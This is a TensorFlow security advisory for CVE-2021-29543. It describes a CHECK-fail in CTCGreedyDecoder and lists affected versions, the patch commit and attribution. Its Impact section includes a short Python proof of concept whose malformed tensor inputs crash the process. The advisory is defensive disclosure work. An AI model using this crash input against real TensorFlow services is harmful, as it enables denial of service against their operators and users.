GHSA-fphq-gw9m-ghrv
CHECK-fail in `CTCGreedyDecoder`
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | tensorflow | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow | >= 2.4.0, < 2.4.2 | 2.4.2 |
| PyPI | tensorflow-cpu | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow-cpu | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow-cpu | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow-cpu | >= 2.4.0, < 2.4.2 | 2.4.2 |
| PyPI | tensorflow-gpu | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow-gpu | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow-gpu | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow-gpu | >= 2.4.0, < 2.4.2 | 2.4.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.CTCGreedyDecoder`:
```python
import tensorflow as tf
inputs = tf.constant([], shape=[18, 2, 0], dtype=tf.float32)
sequence_length = tf.constant([-100, 17], shape=[2], dtype=tf.int32)
merge_repeated = False
tf.raw_ops.CTCGreedyDecoder(inputs=inputs, sequence_length=sequence_length, merge_repeated=merge_repeated)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1615440b17b364b875eb06f43d087381f1460a65/tensorflow/core/kernels/ctc_decoder_ops.cc#L37-L50) has a `CHECK_LT` inserted to validate some invariants. When this condition is false, the program aborts, instead of returning a valid error to the user. This abnormal termination can be weaponized in denial of service attacks.
### Patches
We have patched the issue in GitHub commit [ea3b43e98c32c97b35d52b4c66f9107452ca8fb2](https://github.com/tensorflow/tensorflow/commit/ea3b43e98c32c97b35d52b4c66f9107452ca8fb2).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fphq-gw9m-ghrv
- https://nvd.nist.gov/vuln/detail/CVE-2021-29543
- https://github.com/tensorflow/tensorflow/commit/ea3b43e98c32c97b35d52b4c66f9107452ca8fb2
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-471.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-669.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-180.yaml
- https://github.com/tensorflow/tensorflow